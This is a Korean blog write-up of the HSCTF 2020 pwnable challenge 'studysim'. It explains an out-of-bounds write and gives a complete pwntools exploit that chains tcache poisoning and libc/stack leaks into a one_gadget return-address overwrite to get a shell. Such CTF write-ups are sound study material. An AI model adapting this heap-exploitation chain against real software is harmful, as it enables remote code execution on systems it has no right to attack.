SDJ( 수돈재 아님 ㅎ )

HSCTF 2020 - studysim 본문

write-up/pwnable

HSCTF 2020 - studysim

ShinDongJun 2020. 6. 9. 08:54

재밌는 문제였다.

2등을 한 문제.

( 만약에 잠 안잤으면 퍼블 먹었을 듯 TT )

 

다만 현재 Ubuntu 19.04가 날라가서 코드만 가지고 있는 상태이다.

 

그래서 우분투 화면은 찍지는 못했는데 일단 익스 코드만 올려둔다.

 

취약점은 OOB가 되겠다.( OOB arbitrary write ? )

 

우리가 할당하는 위치를 조절할 수 있기 때문에 allocated_count < 0으로 조작해서 stack[allocated_count]의 위치가 &allocated_count가 되게 만들어 준다음 할당을 시도하면

allocated_count에 heap address가 남게 되서 heap leak이 가능해진다.

 

그리고 tcache bins의 0x3f0 위치에 arbitray write를 통해 bss_stdout - 0x10주소를 주고 0x400 malloc을 통해 leak을 했다.

그 다음부터 여러가지 삽질을 하는 과정에서 난 stack의 RET을 덮어주는 방법을 선택했는데

19.04가 보호기법이 탄탄해서 이것저것 다 해봤는데 잘 안되더라.. 

새롭게 알게 된게 one_gadget 조건마저 깐깐해졌더라...!

결국 RET덮는거로 선택.

 

따라서 stack의 주소를 얻기위해 libc_environ의 값을 읽어냈고, 그것을 바탕으로 new_worksheet의 RET위치를 알아내서 덮었다.

 

 

from pwn import *

server = 0
if server:
	p = remote("pwn.hsctf.com", 5007)
	t = 0.2
else:
	p = process("./studysim")
	t = 0.05

BSS_STACK = 0x0000000000404060

def choice(command):
	p.sendlineafter("> ", str(command))
	sleep(t)

def ADD(size, data):
	choice("add")
	p.sendlineafter("worksheet?\n", str(size))
	sleep(t)
	p.sendlineafter("worksheet?\n", str(data))
	sleep(t)

def DO(offset):
	choice("do")
	p.sendlineafter("?\n", str(offset))
	sleep(t)

# move allocated_count position
DO(4)

# make heap_address on allocated_count
ADD(0x10, 'A'*8)						

# heap leak!
DO(0)

p.recvuntil("Only ")
heap_leak = int(p.recvuntil(" ", drop=True))
heap_base = heap_leak - 0x261
print "heap_leak : " + hex(heap_leak)
print "heap_base : " + hex(heap_base)

offset = (heap_base - BSS_STACK)//0x8
print "offset : " + hex(offset)

# set allocated_count -> tcache bins(0x400)
DO(heap_leak-(offset+(0x240//8)))

# set tcache bins(0x400) -> stdout-0x10
ADD(0x30, p64(BSS_STACK-0x50)+p64(0x410))
ADD(0x3f0, 'dummy')

# stdout leak!
ADD(0x3f0, 'A'*0x10)
"""
0x404010:	0x4141414141414141	0x4141414141414141
0x404020 <stdout@@GLIBC_2.2.5>:	0x00007ffff7fb3760	0x0000000000000000
0x404030 <stdin@@GLIBC_2.2.5>:	0x00007ffff7fb2a00	0x0000000000000000
"""
p.recvuntil("A"*0x10)
stdout = u64(p.recv(6).ljust(8,'\x00'))

libc_base = stdout - 0x1e5760
one = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
"""
0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
one_gadget = libc_base + one[3]
environ = libc_base + 0x1e7d60

print "stdout : " + hex(stdout)
print "libc_base : " + hex(libc_base)
print "one_gadget : " + hex(one_gadget)
print "environ : " + hex(environ)

# set allocated_count -> tcache bins(0x400)
DO(3)

# set 0x400 -> environ-0x10
ADD(0x30, p64(environ-0x10))
ADD(0x3f0, 'dummy')

# environ leak!
ADD(0x3f0, "A"*0x10)
p.recvuntil("A"*0x10)
stack_leak = u64(p.recv(6).ljust(8,'\x00'))
print "stack_leak : " + hex(stack_leak)

# set allocated_count -> tcache bins(0x400)
DO(3)

# set tcache bins(0x400) -> stack_leak-0x120
# (stack_leak - 0x120) is RET of 'new_worksheet' function
# so we overlap RET to one_gadget with a lot of NULL[rsp+0x70 == NULL]
# In this case, canary in (stack_leak - 0x130), so we don't edit canary
ADD(0x30, p64(stack_leak-0x120))
ADD(0x3f0, 'dummy')

# overlap RET and Get Shell !!
pay = ''
pay += p64(one_gadget)
pay += p64(0)*0x30 		# [rsp+0x70 == NULL]
ADD(0x3f0, pay)

p.interactive()

'write-up > pwnable' 카테고리의 다른 글

ASISctf 2020 Quals - fullprotection  (0) 2020.07.06
HSCTF 2020 - got it  (0) 2020.06.09
Defenit 2020 - errorprogram  (0) 2020.06.09
pwn2win 2020 - tukro  (0) 2020.06.03
SuSeC CTF 2020 - unary  (0) 2020.03.16
Comments